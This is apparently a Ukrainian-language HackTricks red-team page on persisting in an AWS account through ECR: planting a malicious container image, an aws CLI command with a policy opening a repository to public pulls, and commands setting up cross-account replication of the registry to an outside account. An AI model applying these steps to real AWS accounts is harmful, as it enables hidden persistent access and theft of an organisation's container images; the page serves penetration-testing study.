AWS - ECR Persistence

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

ECR

Для отримання додаткової інформації перегляньте:

pageAWS - ECR Enum

Прихований Docker-образ зі зловмисним кодом

Атакувальник може завантажити Docker-образ, що містить зловмисний код, до репозиторію ECR і використовувати його для збереження постійності в цільовому обліковому записі AWS. Після цього атакувальник може розгорнути зловмисний образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, у непомітний спосіб.

Політика репозиторію

Додайте політику до одного репозиторію, надаючи собі (або всім) доступ до репозиторію:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Зверніть увагу, що для ECR користувачі повинні мати дозвіл на виклик API ecr:GetAuthorizationToken через політику IAM перш ніж вони зможуть аутентифікуватися в реєстрі та завантажувати або витягувати будь-які зображення з будь-якого репозиторію Amazon ECR.

Політика реєстру та реплікація між обліковими записами

Можливо автоматично реплікувати реєстр в зовнішньому обліковому записі, налаштувавши реплікацію між обліковими записами, де вам потрібно вказати зовнішній обліковий запис, куди ви хочете реплікувати реєстр.

Спочатку вам потрібно надати зовнішньому обліковому запису доступ до реєстру за допомогою політики реєстру такої:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Потім застосуйте конфігурацію реплікації:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated